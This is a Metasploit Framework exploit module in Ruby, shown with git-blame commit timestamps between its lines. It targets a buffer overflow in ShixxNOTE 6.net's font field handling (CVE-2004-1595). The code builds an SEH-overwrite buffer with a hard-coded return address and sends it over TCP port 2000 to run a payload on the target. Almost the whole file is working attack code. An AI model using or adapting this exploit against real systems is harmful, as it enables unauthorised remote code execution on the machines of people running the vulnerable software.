2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-09-13 06:20:05 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2006-09-13 06:20:05 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Remote::Seh
|
2006-09-13 06:20:05 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'ShixxNOTE 6.net Font Field Overflow',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module exploits a buffer overflow in ShixxNOTE 6.net.
|
2006-09-13 06:20:05 +00:00
|
|
|
The vulnerability is caused due to boundary errors in the
|
|
|
|
handling of font fields.
|
|
|
|
},
|
|
|
|
'Author' => 'MC',
|
|
|
|
'License' => MSF_LICENSE,
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2010-04-30 08:40:19 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-07-27 14:05:23 +00:00
|
|
|
['CVE', '2004-1595'],
|
|
|
|
['OSVDB', '10721'],
|
|
|
|
['BID', '11409'],
|
2006-09-13 06:20:05 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 650,
|
|
|
|
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-09-13 06:20:05 +00:00
|
|
|
'Targets' =>
|
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'ShixxNOTE 6.net Universal', { 'Ret' => 0x10041951 } ],
|
2006-09-13 06:20:05 +00:00
|
|
|
],
|
|
|
|
|
|
|
|
'Privileged' => false,
|
|
|
|
|
2011-05-04 20:43:19 +00:00
|
|
|
'DisclosureDate' => 'Oct 4 2004',
|
2006-09-13 06:20:05 +00:00
|
|
|
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(2000)
|
|
|
|
], self.class)
|
2006-09-13 06:20:05 +00:00
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
|
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
|
2007-03-01 08:21:36 +00:00
|
|
|
sploit = rand_text_alpha_upper(8, payload_badchars)
|
2006-09-13 06:20:05 +00:00
|
|
|
sploit += "~~"
|
2007-03-01 08:21:36 +00:00
|
|
|
sploit += rand_text_alpha_upper(118, payload_badchars)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-09-13 06:20:05 +00:00
|
|
|
seh = generate_seh_payload(target.ret)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-09-13 06:20:05 +00:00
|
|
|
sploit[112, seh.length] = seh
|
2007-03-01 08:21:36 +00:00
|
|
|
sploit += rand_text_alpha_upper(200, payload_badchars)
|
2006-09-13 06:20:05 +00:00
|
|
|
sploit += "~" * 10
|
|
|
|
|
|
|
|
sock.put(sploit)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-09-13 06:20:05 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-07-27 14:05:23 +00:00
|
|
|
end
|